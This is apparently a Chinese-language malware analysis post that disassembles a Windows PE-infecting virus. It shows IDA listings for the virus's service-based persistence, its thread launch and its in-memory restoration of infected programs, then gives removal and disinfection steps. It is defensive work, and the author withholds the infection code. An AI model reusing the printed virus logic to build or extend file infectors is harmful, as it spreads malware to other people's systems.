.rsrc:0040B2A2 loc_40B2A2: ; CODE XREF: Createvirusser+A j
.rsrc:0040B2A2 mov al, bl
.rsrc:0040B2A4
.rsrc:0040B2A4 loc_40B2A4: ; CODE XREF: Createvirusser+40 j
.rsrc:0040B2A4 pop ebx
.rsrc:0040B2A5 retn
.rsrc:0040B2A5 Createvirusser endp
.rsrc:0040B2A5
.rsrc:0040B2A5 ; ---------------------------------------------------------------------------
这里就是病毒自启动的方式,病毒通过添加服务的方式使病毒开机后自动加载,具体服务信息如下:
服务名:services
服务描述:Themes Plug and Play
启动类型:自动
路径:%system%\1021\services.exe
病毒创建完服务之后就立刻启动病毒服务,启动服务我们最要留意就是以下相关代码:
.rsrc:0040818B add esp, 8
.rsrc:0040818E test eax, eax
.rsrc:00408190 jnz short loc_4081BA ; 如果不是则跳
.rsrc:00408192 lea edx, [ebp+ServiceStartTable]
.rsrc:00408195 mov [ebp+ServiceStartTable.lpServiceName], offset ServiceName ; "services"
.rsrc:0040819C push edx ; lpServiceStartTable
.rsrc:0040819D mov [ebp+ServiceStartTable.lpServiceProc], offset loc_40B370
.rsrc:004081A4 mov [ebp+var_8], eax
.rsrc:004081A7 mov [ebp+var_4], eax
.rsrc:004081AA call ds:StartServiceCtrlDispatcherA ; 如果是病毒本身则启动病毒 服务
.rsrc:004081B0 xor eax, eax
.rsrc:004081B2 pop edi
.rsrc:004081B3 pop esi
.rsrc:004081B4 mov esp, ebp
.rsrc:004081B6 pop ebp
.rsrc:004081B7 retn 10h
为什么说要注意这里呢,这里就是病毒启动服务后所要做的事,关键点在.lpServiceProc也就是40B370h处,进入几层后最终看到的病毒操作如下:
.rsrc:0040B1C0 ; =============== S U B R O U T I N E =======================================
.rsrc:0040B1C0
.rsrc:0040B1C0
.rsrc:0040B1C0 sub_40B1C0 proc near ; CODE XREF: .rsrc:0040B449 p
.rsrc:0040B1C0 push esi
.rsrc:0040B1C1 mov esi, ds:CreateThread
.rsrc:0040B1C7 push 0 ; lpThreadId
.rsrc:0040B1C9 push 0 ; dwCreationFlags
.rsrc:0040B1CB push 0 ; lpParameter
.rsrc:0040B1CD push offset Infect_Drivers ; lpStartAddress
.rsrc:0040B1D2 push 0 ; dwStackSize
.rsrc:0040B1D4 push 0 ; lpThreadAttributes
.rsrc:0040B1D6 call esi ; CreateThread
.rsrc:0040B1D8 push 0 ; lpThreadId
.rsrc:0040B1DA push 0 ; dwCreationFlags
.rsrc:0040B1DC push 0 ; lpParameter
.rsrc:0040B1DE push offset Server ; lpStartAddress
.rsrc:0040B1E3 push 0 ; dwStackSize
.rsrc:0040B1E5 push 0 ; lpThreadAttributes
.rsrc:0040B1E7 call esi ; CreateThread
.rsrc:0040B1E9 push 0 ; lpThreadId
.rsrc:0040B1EB push 0 ; dwCreationFlags
.rsrc:0040B1ED push 0 ; lpParameter
.rsrc:0040B1EF push offset SetServiceStatu ; 设置病毒服务为自动加载
.rsrc:0040B1F4 push 0 ; dwStackSize
.rsrc:0040B1F6 push 0 ; lpThreadAttributes
.rsrc:0040B1F8 call esi ; CreateThread
.rsrc:0040B1FA pop esi
.rsrc:0040B1FB retn
.rsrc:0040B1FB sub_40B1C0 endp
和Win9x下的相关线程差不多,只是多了个Setservicestatus,实时设置病毒服务为自动加载。
接着来看看病毒还原原文件部分,我起的名字叫Release_File,当时是随便写,病毒并没有释放出原程序的行为,而是直接在内存中还原原程序相关信息:
.rsrc:00408E20 ; =============== S U B R O U T I N E =======================================
.rsrc:00408E20
.rsrc:00408E20
.rsrc:00408E20 Release_File proc near ; CODE XREF: sub_408020:loc_40820F p
.rsrc:00408E20
.rsrc:00408E20 NumberOfBytesWritten= dword ptr -254h
.rsrc:00408E20 var_250 = dword ptr -250h
.rsrc:00408E20 hModule = dword ptr -24Ch
.rsrc:00408E20 Buffer = dword ptr -240h
.rsrc:00408E20 var_238 = dword ptr -238h
.rsrc:00408E20 var_234 = dword ptr -234h
.rsrc:00408E20 var_230 = dword ptr -230h
.rsrc:00408E20 var_22C = dword ptr -22Ch
.rsrc:00408E20 var_228 = dword ptr -228h
.rsrc:00408E20 var_224 = dword ptr -224h
.rsrc:00408E20 NumberOfBytesRead= dword ptr -218h
.rsrc:00408E20 var_214 = dword ptr -214h
.rsrc:00408E20 ImgBase = dword ptr -210h
.rsrc:00408E20 var_20C = dword ptr -20Ch
.rsrc:00408E20 LibFileName= byte ptr -208h
.rsrc:00408E20 var_200 = dword ptr -200h
.rsrc:00408E20 hMem = dword ptr -1F8h
.rsrc:00408E20 var_1F4 = dword ptr -1F4h
.rsrc:00408E20 ProcName= byte ptr -1CAh
.rsrc:00408E20 var_1B8 = dword ptr -1B8h
.rsrc:00408E20
.rsrc:00408E20 sub esp, 218h
.rsrc:00408E26 push ebx
.rsrc:00408E27 push ebp
.rsrc:00408E28 push esi
.rsrc:00408E29 push edi
.rsrc:00408E2A push 1000h ; uBytes
.rsrc:00408E2F push 0 ; uFlags
.rsrc:00408E31 call ds:LocalAlloc
.rsrc:00408E37 push eax ; hMem
.rsrc:00408E38 mov [esp+22Ch+var_200], eax
.rsrc:00408E3C call ds:LocalLock
.rsrc:00408E42 mov esi, eax
.rsrc:00408E44 test esi, esi
.rsrc:00408E46 jnz short loc_408E53
.rsrc:00408E48 pop edi
.rsrc:00408E49 pop esi
.rsrc:00408E4A pop ebp
.rsrc:00408E4B pop ebx
.rsrc:00408E4C add esp, 218h
.rsrc:00408E52 retn
.rsrc:00408E53 ; ---------------------------------------------------------------------------
.rsrc:00408E53
.rsrc:00408E53 loc_408E53: ; CODE XREF: Release_File+26 j
.rsrc:00408E53 push 0 ; lpModuleName
.rsrc:00408E55 call ds:GetModuleHandleA
.rsrc:00408E5B mov ebx, eax
.rsrc:00408E5D mov [esp+228h+ImgBase], ebx
.rsrc:00408E61 call ds:GetCurrentProcess
.rsrc:00408E67 mov edi, eax
.rsrc:00408E69 lea eax, [esp+228h+NumberOfBytesRead]
.rsrc:00408E6D push eax ; lpNumberOfBytesRead
.rsrc:00408E6E push 1000h ; nSize
.rsrc:00408E73 push esi ; lpBuffer
.rsrc:00408E74 push ebx ; lpBaseAddress
.rsrc:00408E75 mov ebx, ds:ReadProcessMemory
.rsrc:00408E7B push edi ; hProcess
.rsrc:00408E7C call ebx ; ReadProcessMemory
.rsrc:00408E7E test eax, eax ; 读取PE头部1000h字节
.rsrc:00408E80 jnz short loc_408E8D
.rsrc:00408E82 pop edi
.rsrc:00408E83 pop esi
.rsrc:00408E84 pop ebp
.rsrc:00408E85 pop ebx
.rsrc:00408E86 add esp, 218h
.rsrc:00408E8C retn
.rsrc:00408E8D ; ---------------------------------------------------------------------------
.rsrc:00408E8D
.rsrc:00408E8D loc_408E8D: ; CODE XREF: Release_File+60 j
.rsrc:00408E8D mov eax, [esi+IMAGE_DOS_HEADER.e_lfanew]
.rsrc:00408E90 xor ecx, ecx
.rsrc:00408E92 add eax, esi ; 将pe头rva转为Va
.rsrc:00408E94 push 0E0h ; uBytes
.rsrc:00408E99 push 0 ; uFlags
.rsrc:00408E9B mov cx, [eax+IMAGE_NT_HEADERS.FileHeader.NumberOfSections] ; 获取节数目
.rsrc:00408E9F lea ecx, [ecx+ecx*4]
.rsrc:00408EA2 mov edx, [eax+ecx*8+0DCh] ; 获取最后一个节的Voffset
.rsrc:00408EA9 lea eax, [eax+ecx*8+0D0h] ; eax指向最后一个节pLastSec
.rsrc:00408EB0 mov eax, [eax+IMAGE_SECTION_HEADER.Misc.VirtualSize] ; 获取最后一个节的Vsize
.rsrc:00408EB3 lea ebp, [edx+eax-10E8h] ; ebp = (Rva + Vsize) - 10E8h
.rsrc:00408EBA call ds:LocalAlloc
.rsrc:00408EC0 push eax ; hMem
.rsrc:00408EC1 call ds:LocalLock
.rsrc:00408EC7 mov edx, [esp+228h+ImgBase]
.rsrc:00408ECB lea ecx, [esp+228h+NumberOfBytesRead]
.rsrc:00408ECF mov esi, eax
.rsrc:00408ED1 push ecx ; lpNumberOfBytesRead
.rsrc:00408ED2 push 0E0h ; nSize
.rsrc:00408ED7 add ebp, edx
.rsrc:00408ED9 push esi ; lpBuffer
.rsrc:00408EDA push ebp ; lpBaseAddress
.rsrc:00408EDB push edi ; hProcess
.rsrc:00408EDC call ebx ; ReadProcessMemory ; 从41700处开始读取0E0h个字节
.rsrc:00408EDE test eax, eax ; 41700地址即为 (Rva + Vsize) - 10E8h + imgbase
.rsrc:00408EE0 jnz short loc_408EED
.rsrc:00408EE2 pop edi
.rsrc:00408EE3 pop esi
.rsrc:00408EE4 pop ebp
.rsrc:00408EE5 pop ebx
.rsrc:00408EE6 add esp, 218h ; pPackedInfo = (Rva + Vsize) - 10e8h;
.rsrc:00408EE6 ; $+10 OEP
.rsrc:00408EE6 ;
.rsrc:00408EE6 ; pDirectoryInfo = pPackedInfo + 68h
.rsrc:00408EE6 ; pDirectoryInfo:
.rsrc:00408EE6 ; $ Import Rva
.rsrc:00408EE6 ; $+4 Import Size
.rsrc:00408EE6 ; $+8 Res Rva
.rsrc:00408EE6 ; $+C Res Size
.rsrc:00408EEC retn
.rsrc:00408EED ; ---------------------------------------------------------------------------
.rsrc:00408EED
.rsrc:00408EED loc_408EED: ; CODE XREF: Release_File+C0 j
.rsrc:00408EED mov eax, [esi+68h]
.rsrc:00408EF0 push 14h ; uBytes
.rsrc:00408EF2 push 0 ; uFlags
.rsrc:00408EF4 mov [esp+230h+var_20C], eax
.rsrc:00408EF8 call ds:LocalAlloc ; 这里开始处理输入表
.rsrc:00408EFE push eax ; hMem
.rsrc:00408EFF mov [esp+22Ch+hMem], eax ;病毒这里的处理方式其实做的有点乱,简单的来说直接读取和填充数据不就行了,还要搞个readprocessmemory和writeprocessmemory。
.rsrc:00408F03 call ds:LocalLock
.rsrc:00408F09 mov edx, [esp+228h+var_20C]
.rsrc:00408F0D lea ecx, [esp+228h+NumberOfBytesRead]
.rsrc:00408F11 push ecx ; lpNumberOfBytesRead
.rsrc:00408F12 mov ecx, [esi+1Ch]
.rsrc:00408F15 mov ebp, eax
.rsrc:00408F17 push 14h ; nSize
.rsrc:00408F19 add edx, ecx
.rsrc:00408F1B push ebp ; lpBuffer
.rsrc:00408F1C push edx ; lpBaseAddress
.rsrc:00408F1D push edi ; hProcess
.rsrc:00408F1E mov dword ptr [esp+23Ch+LibFileName], ebp
.rsrc:00408F22 call ebx ; ReadProcessMemory
.rsrc:00408F24 test eax, eax
.rsrc:00408F26 jz loc_409051
.rsrc:00408F2C jmp short loc_408F32
.rsrc:00408F2E ; ---------------------------------------------------------------------------
.rsrc:00408F2E
.rsrc:00408F2E loc_408F2E: ; CODE XREF: Release_File+22B j
.rsrc:00408F2E mov ebp, dword ptr [esp+228h+LibFileName]
.rsrc:00408F32
.rsrc:00408F32 loc_408F32: ; CODE XREF: Release_File+10C j
.rsrc:00408F32 mov eax, dword ptr [esp+228h+LibFileName]
.rsrc:00408F36 mov ebp, [ebp+0]
.rsrc:00408F39 test ebp, ebp
.rsrc:00408F3B mov ecx, [eax+10h]
.rsrc:00408F3E mov eax, [eax+0Ch]
.rsrc:00408F41 mov [esp+228h+var_214], ecx
.rsrc:00408F45 jnz short loc_408F53
.rsrc:00408F47 test ecx, ecx
.rsrc:00408F49 jnz short loc_408F53
.rsrc:00408F4B test eax, eax
.rsrc:00408F4D jz Go_Next ; 处理完输入表后跳去执行下一步操作
.rsrc:00408F53
.rsrc:00408F53 loc_408F53: ; CODE XREF: Release_File+125 j
.rsrc:00408F53 ; Release_File+129 j
.rsrc:00408F53 lea ecx, [esp+228h+NumberOfBytesRead]
.rsrc:00408F57 lea edx, [esp+228h+var_1F4]
.rsrc:00408F5B push ecx
.rsrc:00408F5C push 64h
.rsrc:00408F5E push edx
.rsrc:00408F5F mov edx, [esi+1Ch]
.rsrc:00408F62 add eax, edx
.rsrc:00408F64 push eax
.rsrc:00408F65 push edi
.rsrc:00408F66 call ebx
.rsrc:00408F68 test eax, eax
.rsrc:00408F6A jz loc_409051
.rsrc:00408F70 lea eax, [esp+23Ch+LibFileName]
.rsrc:00408F74 push eax ; lpLibFileName
.rsrc:00408F75 call ds:LoadLibraryA
.rsrc:00408F7B test ebp, ebp
.rsrc:00408F7D mov [esp+23Ch+var_224], eax
.rsrc:00408F81 jnz short loc_408F87
.rsrc:00408F83 mov ebp, [esp+23Ch+var_228]
.rsrc:00408F87
.rsrc:00408F87 loc_408F87: ; CODE XREF: Release_File+161 j
.rsrc:00408F87 ; Release_File+204 j
.rsrc:00408F87 lea ecx, [esp+23Ch+var_22C]
.rsrc:00408F8B lea edx, [esp+23Ch+ImgBase]
.rsrc:00408F8F push ecx
.rsrc:00408F90 push 4
.rsrc:00408F92 push edx
.rsrc:00408F93 mov edx, [esi+1Ch]
.rsrc:00408F96 mov eax, ebp
.rsrc:00408F98 add eax, edx
.rsrc:00408F9A push eax
.rsrc:00408F9B push edi
.rsrc:00408F9C call ebx
.rsrc:00408F9E test eax, eax
.rsrc:00408FA0 jz loc_409051
.rsrc:00408FA6 mov eax, [esp+250h+var_224]
.rsrc:00408FAA test eax, eax
.rsrc:00408FAC jz short loc_409029
.rsrc:00408FAE test eax, 80000000h
.rsrc:00408FB3 jz short loc_408FC2
.rsrc:00408FB5 mov ecx, [esp+250h+var_238]
.rsrc:00408FB9 and eax, 7FFFFFFFh
.rsrc:00408FBE push eax
.rsrc:00408FBF push ecx
.rsrc:00408FC0 jmp short loc_408FEB
.rsrc:00408FC2 ; ---------------------------------------------------------------------------
.rsrc:00408FC2
.rsrc:00408FC2 loc_408FC2: ; CODE XREF: Release_File+193 j
.rsrc:00408FC2 lea edx, [esp+250h+Buffer]
.rsrc:00408FC6 lea ecx, [esp+250h+var_1B8]
.rsrc:00408FCD push edx
.rsrc:00408FCE mov edx, [esi+1Ch]
.rsrc:00408FD1 push 64h
.rsrc:00408FD3 add eax, edx
.rsrc:00408FD5 push ecx
.rsrc:00408FD6 push eax
.rsrc:00408FD7 push edi
.rsrc:00408FD8 call ebx
.rsrc:00408FDA test eax, eax
.rsrc:00408FDC jz short loc_409051
.rsrc:00408FDE mov eax, [esp+264h+hModule]
.rsrc:00408FE2 lea edx, [esp+264h+ProcName]
.rsrc:00408FE9 push edx ; lpProcName
.rsrc:00408FEA push eax ; hModule
.rsrc:00408FEB
.rsrc:00408FEB loc_408FEB: ; CODE XREF: Release_File+1A0 j
.rsrc:00408FEB call ds:GetProcAddress
.rsrc:00408FF1 lea ecx, [esp+264h+NumberOfBytesWritten]
.rsrc:00408FF5 lea edx, [esp+264h+Buffer]
.rsrc:00408FF9 push ecx ; lpNumberOfBytesWritten
.rsrc:00408FFA push 4 ; nSize
.rsrc:00408FFC mov [esp+26Ch+Buffer], eax
.rsrc:00409000 mov eax, [esp+26Ch+var_250]
.rsrc:00409004 push edx ; lpBuffer
.rsrc:00409005 mov edx, [esi+1Ch]
.rsrc:00409008 add eax, edx
.rsrc:0040900A push eax ; lpBaseAddress
.rsrc:0040900B push edi ; hProcess
.rsrc:0040900C call ds:WriteProcessMemory
.rsrc:00409012 test eax, eax
.rsrc:00409014 jz short loc_409051
.rsrc:00409016 mov ecx, [esp+264h+var_250]
.rsrc:0040901A add ecx, 4
.rsrc:0040901D add ebp, 4
.rsrc:00409020 mov [esp+264h+var_250], ecx
.rsrc:00409024 jmp loc_408F87
.rsrc:00409029 ; ---------------------------------------------------------------------------
.rsrc:00409029
.rsrc:00409029 loc_409029: ; CODE XREF: Release_File+18C j
.rsrc:00409029 mov eax, [esp+250h+var_234]
.rsrc:0040902D mov edx, [esp+250h+var_230]
.rsrc:00409031 lea ecx, [esp+250h+Buffer]
.rsrc:00409035 add eax, 14h
.rsrc:00409038 push ecx
.rsrc:00409039 mov ecx, [esi+1Ch]
.rsrc:0040903C mov [esp+254h+var_234], eax
.rsrc:00409040 push 14h
.rsrc:00409042 add eax, ecx
.rsrc:00409044 push edx
.rsrc:00409045 push eax
.rsrc:00409046 push edi
.rsrc:00409047 call ebx
.rsrc:00409049 test eax, eax
.rsrc:0040904B jnz loc_408F2E
.rsrc:00409051
.rsrc:00409051 loc_409051: ; CODE XREF: Release_File+106 j
.rsrc:00409051 ; Release_File+14A j ...
.rsrc:00409051 pop edi
.rsrc:00409052 pop esi
.rsrc:00409053 pop ebp
.rsrc:00409054 xor eax, eax
.rsrc:00409056 pop ebx
.rsrc:00409057 add esp, 218h
.rsrc:0040905D retn
.rsrc:0040905E ; ---------------------------------------------------------------------------
.rsrc:0040905E
.rsrc:0040905E Go_Next: ; CODE XREF: Release_File+12D j
.rsrc:0040905E mov ebx, [esp+228h+hMem]
.rsrc:00409062 mov edi, ds:LocalUnlock
.rsrc:00409068 push ebx ; hMem
.rsrc:00409069 call edi ; LocalUnlock
.rsrc:0040906B push ebx ; hMem
.rsrc:0040906C mov ebx, ds:LocalFree
.rsrc:00409072 call ebx ; LocalFree
.rsrc:00409074 mov ebp, [esp+228h+var_200]
.rsrc:00409078 push ebp ; hMem
.rsrc:00409079 call edi ; LocalUnlock
.rsrc:0040907B push ebp ; hMem
.rsrc:0040907C call ebx ; LocalFree
.rsrc:0040907E mov eax, [esi+10h] ; 获取原程序入口
.rsrc:00409081 mov ecx, [esi+1Ch] ; 获取原程序ImgBase
.rsrc:00409084 pop edi
.rsrc:00409085 pop esi
.rsrc:00409086 pop ebp
.rsrc:00409087 add eax, ecx
.rsrc:00409089 pop ebx
.rsrc:0040908A add esp, 218h
.rsrc:00409090 retn
.rsrc:00409090 Release_File endp
.rsrc:00409090
.rsrc:00409090 ; ---------------------------------------------------------------------------
通过上面这段代码就可以知道怎么还原感染前的文件,病毒是这样做的:
病毒感染时将原程序入口、输入表等信息保存在最后一个节中,运行感染后文件时病毒动态还原原程序的输入表等信息,执行完毕后跳去原程序入口执行原程序代码。
最后是感染部分,这部分为避免被人说俺教人写病毒,因此不贴详细分析代码,只大概的说说这病毒是怎么感染的,病毒从A盘开始枚举系统中可用分区,然后通过文件内容进行判断目标文件是否为PE文件,是pe文件则再判断是否为可执行体主文件(这样就过滤了驱动和dll等),然后判断文件尾是否为02标记(有02标记则病毒认为该文件已经感染病毒)。再进行文件感染,感染时病毒将自己先根据目标程序进行病毒自身的重定位(根据病毒编译时保存的重定位表来重定位)。,最后将病毒的头信息和原程序感染前的入口等信息保存在最后一个节中,再把原程序的输入表、入口等信息改成病毒的。
到这里这个病毒也就基本上分析了,总的来说,清除这病毒几分钟时间就可以搞定,加上写代码花的时间也用不了多少。不过分析完,我自己都有一个问题:那就是病毒怎么连接已中毒的机器呢?我自己还真不知道:-(。
【解决方案】:
要完美处理这个病毒,需要走两步:1、删除机器上的病毒原体;2、还原已经被感染的文件。
下面说说第一步的详细步骤:
1、终止系统中的services.exe进程(注意是:%system%\1021目录下的,系统进常路径为%system%);
2、使用相关添加删除服务工具删除病毒服务;
3、删除病毒文件%system%\1021\services.exe;
4、在Win9x下则终止services.exe和inetinfo.exe进程,删除这两个文件和css文件;
5、删除以下注册表键值:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键值:"ckass" = %System%\1021\services.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键值:"InetInfo" =%Windir%\InetInfo.exe
上面的步骤都做完了病毒原体算处理完了,接下来说说感染后文件的清除,这部分关系到编程,如果没有条件建议直接用杀毒软件清除来得快,我简单的说说原理:
清除的思路就是根据病毒还原原文件的方法,获取最后一个节的节信息,然后根据
pPackedInfo = (Rva + Vsize) - 10e8h; //原程序感染前相关信息
$+10 OEP
pDirectoryInfo = pPackedInfo + 68h //原程序感染前目录表相关信息
pDirectoryInfo:
$ Import Rva
$+4 Import Size
$+8 Res Rva
$+C Res Size
还原出原程序相应信息,如果你想做的更美些就将最后一个节的信息和原病毒头信息进行运算,计算出较精确的原程序节信息。
PS:最近做事没状态,这东西也是分析了好多天后才整理的,希望对大家有所帮助,如果你能从头到这里那也谢谢了,最起码我的努力没有白费:-)。最后祝大家春节快乐!
Author:LoveBoom
EMail:Loveboom@163.com
URL:www.Loveboom.net
全文完